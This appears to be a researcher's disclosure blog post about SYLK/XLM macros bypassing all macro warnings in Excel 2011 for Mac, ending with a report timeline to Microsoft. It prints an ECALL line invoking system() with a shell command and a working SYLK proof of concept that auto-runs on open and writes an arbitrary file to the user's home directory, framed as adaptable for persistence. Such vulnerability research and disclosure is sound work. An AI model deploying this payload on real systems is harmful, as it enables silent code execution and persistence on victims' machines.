At our Derbycon talk, the MS Office Magic Show, Stan and myself presented various novel techniques for abusing Excel and Word in Red Teaming operations. One of the tricks introduced was about the Sylk fileformat and Excel 4.0 / XLM macro’s. Full detailled blogs on Sylk and other discussed subjects will follow later. For now it suffices to say that we shared a 99byte Sylk file that pops Calc using XLM when the victim enables macro. As Sylk files are text files they do not open in protected mode.
In Office 2011 for Mac XLM Macro’s in Sylk files are auto executed (no protected mode or macro prompt). Time to say goodbye and really remove office 2011. Issue may even be triggered if you have both Office 2016 and 2011 for Mac installed.
After our talk, I directly took a plane back home. When I arrived back in Amsterdam I took a train home. During my trainride, I decided to play around further and weaponize Sylk using DCOM for lateral movement. I was tired from the flight, and somewhere in that process I managed to open the example Sylk file on Office in MacOS instead of Windows. I got the following warning:
Hey, that’s strange. I did not yet enable macro’s but already some part of the macro got interpreted? Further looking into it, I noticed that the Sylk was opened with Excel 2011, instead of Excel 2016 which I also had installed. This needed some closer inspection. But my train almost arrived, I barely had time to update the EEXEC from the demo sample to EALERT and without any macro warnings got the following alert:
So, Sylk XLM bypassed all macro security alerts in Office 2011 on Mac! Furthermore, on my Mac SLK is by default bound to Office 2011 instead of Office 2016. Train arrived, went home and started working on weaponization.
Based on the XLM documentation, Stan and I started working on weaponization. Unfortunately, simple examples that worked for Office for Mac 2016 did not work on Office 2011. We tried various failing approaches:
C;X1;Y101;K0;ECALL("libc.dylib","system","JC","open -a Calculator")
The EXEC command somehow provided different error messages when I provided an .exe extension, so tried with a bash script test.sh as well as test.exe.
As various code execution approaches failed, and I was jet-lagged I decided to sleep over it.
Next day I decided to go in another direction. Show that I was capable of writing a file with arbitrary contents to an arbitrary location and use this to write in a persistence location. For that I needed to study the XLM and Sylk spec a bit deeper and ended up with the following 400 bytes.
ID;P O;E NN;NAuto_open;ER1C1;KOutFlank;F C;Y1;X1;N;EDIRECTORY() C;X1;Y2;K0;ESELECT(R1C1) C;X1;Y2;N;K13;EFIND(":";;R1C1) C;X1;Y3;N;K19;EFIND(":";;R1C1;;R2C1+1) C;X1;Y4;N;K27;EFIND(":";;R1C1;;R3C1+1) C;X1;Y5;N;ELEFT(R1C1;;R4C1 -1) C;X1;Y6;N;KFALSE;EDIRECTORY(R[-1]C) C;X1;Y7;N;K0;EFOPEN("MALICIOUS.FILE";;3) C;X1;Y9;K0;EFWRITE(R7C1;;"PWNED BY OUTFLANK") C;X1;Y10;K0;EFCLOSE(R7C1) C;X1;Y11;K0;EHALT() E
Line 1 is just a standard header, line 2 indicates a Global Option, this sheet is a Macro (Executable) sheet. Line 3 indicates the name of the macro; when naming it Auto_open it starts on open.
Then we move into the real XLM macro. The DIRECTORY command provides us with the current dir separated with a colon (:), we parse the first 3 colons from the string and then use the DIRECTORY command again to go into that dir (typical /macintoshHD/users/$username). Then we open a file ‘MALICIOUS.FILE’ and write our output there. The E record indicates the End of file. I guess anybody can adapt this to a user-space persistence method.
Time to report to Microsoft…
Reporting to Microsoft
9-10-2018: Issue reported
12-10-2018: Reaction Microsoft: The product team has taken a look at this submission and has informed me that Excel for Mac 2011 is not supported any more , and thus is not eligible for security updates. Mac Excel 2016 and 2019 prompt with “Enable Macro” alerts correctly.
We’ll have blog live soon on the exact Sylk spec and our various attack examples etc. Instead of finishing our blogs we decided pwning Office 2011 on MacOS was way cooler 😉
Just noticed that a rename to CSV also works. A CSV that can execute code and write to arbitrary disk locations. Who could’ve imagined that.